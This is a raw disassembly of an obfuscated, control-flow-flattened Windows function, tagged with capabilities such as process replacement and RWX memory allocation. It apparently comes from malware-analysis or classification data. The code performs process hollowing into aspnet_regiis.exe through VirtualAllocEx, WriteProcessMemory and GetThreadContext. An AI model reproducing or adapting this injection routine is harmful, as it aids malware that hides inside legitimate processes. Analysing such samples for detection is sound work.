Function at 0x10002ea0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0xefd7472e
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x809ff1f4
je 0x100089e6
jmp 0x10002edc
mov eax, dword [ebp - 0x158]
sub eax, 0x815e3bf3
je 0x10007657
jmp 0x10002ef2
mov eax, dword [ebp - 0x158]
sub eax, 0x81b8ffcf
je 0x1000995c
jmp 0x10002f08
mov eax, dword [ebp - 0x158]
sub eax, 0x82039987
je 0x1000935b
jmp 0x10002f1e
mov eax, dword [ebp - 0x158]
sub eax, 0x82067f26
je 0x100064e2
jmp 0x10002f34
mov eax, dword [ebp - 0x158]
sub eax, 0x8270c546
je 0x100095a0
jmp 0x10002f4a
mov eax, dword [ebp - 0x158]
sub eax, 0x82894e67
je 0x10008f16
jmp 0x10002f60
mov eax, dword [ebp - 0x158]
sub eax, 0x82930d43
je 0x10005408
jmp 0x10002f76
mov eax, dword [ebp - 0x158]
sub eax, 0x83a6a099
je 0x100074c5
jmp 0x10002f8c
mov eax, dword [ebp - 0x158]
sub eax, 0x8446f0ff
je 0x1000ae7b
jmp 0x10002fa2
mov eax, dword [ebp - 0x158]
sub eax, 0x84d350e1
je 0x100066ff
jmp 0x10002fb8
mov eax, dword [ebp - 0x158]
sub eax, 0x84da560e
je 0x100066e2
jmp 0x10002fce
mov eax, dword [ebp - 0x158]
sub eax, 0x85ee6d8e
je 0x10006aad
jmp 0x10002fe4
mov eax, dword [ebp - 0x158]
sub eax, 0x862b4a51
je 0x1000825b
jmp 0x10002ffa
mov eax, dword [ebp - 0x158]
sub eax, 0x8670d1d1
je 0x10008c31
jmp 0x10003010
mov eax, dword [ebp - 0x158]
sub eax, 0x86848097
je 0x10006867
jmp 0x10003026
mov eax, dword [ebp - 0x158]
sub eax, 0x86a014ec
je 0x10007d3a
jmp 0x1000303c
mov eax, dword [ebp - 0x158]
sub eax, 0x87181a24
je 0x10009af3
jmp 0x10003052
mov eax, dword [ebp - 0x158]
sub eax, 0x875350f3
je 0x1000adb3
jmp 0x10003068
mov eax, dword [ebp - 0x158]
sub eax, 0x881270b4
je 0x100083d1
jmp 0x1000307e
mov eax, dword [ebp - 0x158]
sub eax, 0x885b4fed
je 0x10009abc
jmp 0x10003094
mov eax, dword [ebp - 0x158]
sub eax, 0x8af693e3
je 0x1000ac22
jmp 0x100030aa
mov eax, dword [ebp - 0x158]
sub eax, 0x8b3122fc
je 0x10006acc
jmp 0x100030c0
mov eax, dword [ebp - 0x158]
sub eax, 0x8b4af87d
je 0x1000595c
jmp 0x100030d6
mov eax, dword [ebp - 0x158]
sub eax, 0x8cab836e
je 0x1000a3bd
jmp 0x100030ec
mov eax, dword [ebp - 0x158]
sub eax, 0x8d4ec984
je 0x1000ab88
jmp 0x10003102
mov eax, dword [ebp - 0x158]
sub eax, 0x8d67f126
je 0x100097b7
jmp 0x10003118
mov eax, dword [ebp - 0x158]
sub eax, 0x908726d6
je 0x10005b03
jmp 0x1000312e
mov eax, dword [ebp - 0x158]
sub eax, 0x90fc7cf1
je 0x1000a127
jmp 0x10003144
mov eax, dword [ebp - 0x158]
sub eax, 0x9233c8da
je 0x10006e33
jmp 0x1000315a
mov eax, dword [ebp - 0x158]
sub eax, 0x92935d0f
je 0x1000b3c3
jmp 0x10003170
mov eax, dword [ebp - 0x158]
sub eax, 0x9366581b
je 0x100063a1
jmp 0x10003186
mov eax, dword [ebp - 0x158]
sub eax, 0x93ea29ec
je 0x10006d0b
jmp 0x1000319c
mov eax, dword [ebp - 0x158]
sub eax, 0x93ed15d6
je 0x1000abc6
jmp 0x100031b2
mov eax, dword [ebp - 0x158]
sub eax, 0x949be272
je 0x1000afde
jmp 0x100031c8
mov eax, dword [ebp - 0x158]
sub eax, 0x955390f5
je 0x10008e0b
jmp 0x100031de
mov eax, dword [ebp - 0x158]
sub eax, 0x960fbbcb
je 0x100093ac
jmp 0x100031f4
mov eax, dword [ebp - 0x158]
sub eax, 0x96fb5fd7
je 0x100087ec
jmp 0x1000320a
mov eax, dword [ebp - 0x158]
sub eax, 0x977a920d
je 0x10007733
jmp 0x10003220
mov eax, dword [ebp - 0x158]
sub eax, 0x996a81d7
je 0x10007b0a
jmp 0x10003236
mov eax, dword [ebp - 0x158]
sub eax, 0x9a3b1bdf
je 0x10009e80
jmp 0x1000324c
mov eax, dword [ebp - 0x158]
sub eax, 0x9c32d326
je 0x10008738
jmp 0x10003262
mov eax, dword [ebp - 0x158]
sub eax, 0x9ce7c965
je 0x1000ae00
jmp 0x10003278
mov eax, dword [ebp - 0x158]
sub eax, 0x9d5c5f21
je 0x1000681b
jmp 0x1000328e
mov eax, dword [ebp - 0x158]
sub eax, 0x9e486dc5
je 0x10006838
jmp 0x100032a4
mov eax, dword [ebp - 0x158]
sub eax, 0x9ef95d0d
je 0x10009681
jmp 0x100032ba
mov eax, dword [ebp - 0x158]
sub eax, 0x9fecd535
je 0x10006230
jmp 0x100032d0
mov eax, dword [ebp - 0x158]
sub eax, 0xa0286b80
je 0x10007ec4
jmp 0x100032e6
mov eax, dword [ebp - 0x158]
sub eax, 0xa0394ea7
je 0x10009059
jmp 0x100032fc
mov eax, dword [ebp - 0x158]
sub eax, 0xa1b8d585
je 0x10008ddd
jmp 0x10003312
mov eax, dword [ebp - 0x158]
sub eax, 0xa3063f69
je 0x100081cc
jmp 0x10003328
mov eax, dword [ebp - 0x158]
sub eax, 0xa30bd484
je 0x10009bfa
jmp 0x1000333e
mov eax, dword [ebp - 0x158]
sub eax, 0xa31073c7
je 0x10006bff
jmp 0x10003354
mov eax, dword [ebp - 0x158]
sub eax, 0xa3261e49
je 0x10008d38
jmp 0x1000336a
mov eax, dword [ebp - 0x158]
sub eax, 0xa374a6f3
je 0x1000b100
jmp 0x10003380
mov eax, dword [ebp - 0x158]
sub eax, 0xa3a2b9e1
je 0x10009815
jmp 0x10003396
mov eax, dword [ebp - 0x158]
sub eax, 0xa3e83057
je 0x10005930
jmp 0x100033ac
mov eax, dword [ebp - 0x158]
sub eax, 0xa471a8f5
je 0x10008f25
jmp 0x100033c2
mov eax, dword [ebp - 0x158]
sub eax, 0xa525c3b5
je 0x100092d0
jmp 0x100033d8
mov eax, dword [ebp - 0x158]
sub eax, 0xa5d9eb20
je 0x10006cb0
jmp 0x100033ee
mov eax, dword [ebp - 0x158]
sub eax, 0xa5ebd5a3
je 0x10006bf0
jmp 0x10003404
mov eax, dword [ebp - 0x158]
sub eax, 0xa6413802
je 0x1000aed8
jmp 0x1000341a
mov eax, dword [ebp - 0x158]
sub eax, 0xa64f1666
je 0x1000a015
jmp 0x10003430
mov eax, dword [ebp - 0x158]
sub eax, 0xa79fcb41
je 0x10009c46
jmp 0x10003446
mov eax, dword [ebp - 0x158]
sub eax, 0xa7ecd18b
je 0x1000b18f
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x54fc940a
sub edx, 1
add edx, 0x54fc940a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x658feaa7
mov ecx, 0xdb16de8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xd6ba3f7e
jmp 0x1000b42b
movss xmm0, dword [0x100183ac]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x100183a8]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0xefe26c3a
jmp 0x1000b42b
mov dword [ebp - 0x154], 0x74e5da91
jmp 0x1000b42b
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaafc868f
mov ecx, 0xab065337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x10018384]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x154], 0x6ae3b8cf
jmp 0x1000b42b
mov dl, 1
mov eax, 0x51a03018
mov ecx, 0xea4d36eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dl, 1
mov eax, 0x22a3dc97
mov ecx, 0x84d350e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x10018378]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x154], 0xea17df59
jmp 0x1000b42b
mov dl, 1
mov eax, 0xac7636ab
mov ecx, 0x9e486dc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10018368]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x154], 0x86848097
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xac7636ab
jmp 0x1000b42b
movss xmm0, dword [0x10018350]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x8b3122fc
jmp 0x1000b42b
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0xeea68e87
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xa31073c7
jmp 0x1000b42b
movss xmm0, dword [0x10018340]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x1167ab7f
jmp 0x1000b42b
mov dl, 1
mov eax, 0x93ea29ec
mov ecx, 0x5e5d46f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xd8cd3f42
sub edx, 1
add edx, 0xd8cd3f42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4561fdb7
mov ecx, 0x4c0106a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf9873cb
mov ecx, 0x6282984c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x90071c05
sub edx, 1
add edx, 0x90071c05
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8446f0ff
mov ecx, 0x2d4da9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb5c9872
mov ecx, 0x4909fdd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c86f27c
mov ecx, 0x3aa24907
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf7a860b8
mov ecx, 0x1eb87d59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x715a3fc6
mov ecx, 0xae9c365b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6743c59c
mov ecx, 0xc2bb6b1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xaba97cba
sub edx, 1
add edx, 0xaba97cba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b23830e
mov ecx, 0xc7388c96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x10018284]
movss dword [ebp - 0x13c], xmm0
mov dl, 1
mov eax, 0x50eacb42
mov ecx, 0x13aaafbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dl, 1
mov eax, 0x3eb755fd
mov ecx, 0xfd550c9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x49f02d72
sub edx, 1
add edx, 0x49f02d72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x53305de1
mov ecx, 0xc45221f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x2c1c48e0
sub edx, 1
sub edx, 0x2c1c48e0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2967c40
mov ecx, 0xd31fedb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dl, 1
mov eax, 0x6f182f03
mov ecx, 0xeb60438f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x154], 0x18775dd9
jmp 0x1000b42b
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x140], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xd8654f8b
sub edx, 1
sub edx, 0xd8654f8b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xceb0439a
mov ecx, 0xc124fa5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dword [ebp - 0x154], 0x51bc4620
jmp 0x1000b42b
mov dl, 1
mov eax, 0xa471a8f5
mov ecx, 0xb4a2b4cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xa471a8f5
jmp 0x1000b42b
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call section..text
add esp, 8
mov dword [ebp - 0x154], 0xa9efa7b2
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5349e05
mov ecx, 0x7b322179
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x11c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x4cd226d6
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x55eba008
sub edx, 1
add edx, 0x55eba008
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e5e7fed
mov ecx, 0x960fbbcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov dword [ebp - 0x154], 0x590d0e5f
jmp 0x1000b42b
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xc9], al
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7ecd18b
mov ecx, 0xefdc7e06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x397625aa
mov ecx, 0x425bfc48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xf118b264
jmp 0x1000b42b
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xa9ceefb8
sub edx, 1
add edx, 0xa9ceefb8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd724e4aa
mov ecx, 0x6f73dd9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49569e9f
mov ecx, 0xddd5108f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x154], 0x87181a24
jmp 0x1000b42b
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0xfc]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov esi, dword [ebp - 0xfc]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xfc]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002ce0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xfc]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x2d11fd0
mov ecx, 0x5dd65780
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
sub esi, 0x5331649a
add esi, eax
add esi, 0x5331649a
mov edx, dword [ebp - 0xac]
mov eax, 0x2d11fd0
mov ecx, 0xa79fcb41
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x154], 0xf14b890
jmp 0x1000b42b
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub eax, 0x25632237
add eax, 1
add eax, 0x25632237
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x154], 0xe340bf19
jmp 0x1000b42b
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec45b69c
mov ecx, 0xd523d47d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x1d9cd4c6
sub edx, 1
add edx, 0x1d9cd4c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60370bea
mov ecx, 0x755afe52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x82], al
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xf89d302a
sub edx, 1
sub edx, 0xf89d302a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x487a7052
mov ecx, 0xbe855436
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b42b
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0x3e3db249
jmp 0x1000b42b
mov dword [ebp - 0x154], 0x25dbe883
jmp 0x1000b42b
mov dword [ebp - 0x154], 0x31a8dd87
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xaae7c512
jmp 0x1000b42b
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x154], 0x6f8d59dd
jmp 0x1000b42b
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x154], 0x2d4da9e
jmp 0x1000b42b
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x154], 0xe2fcebbb
jmp 0x1000b42b
mov dword [ebp - 0x154], 0xfb62eff4
jmp 0x1000b42b
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x154], 0x2b6919f3
jmp 0x1000b42b
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x154], 0x7ae4a516
jmp 0x1000b42b
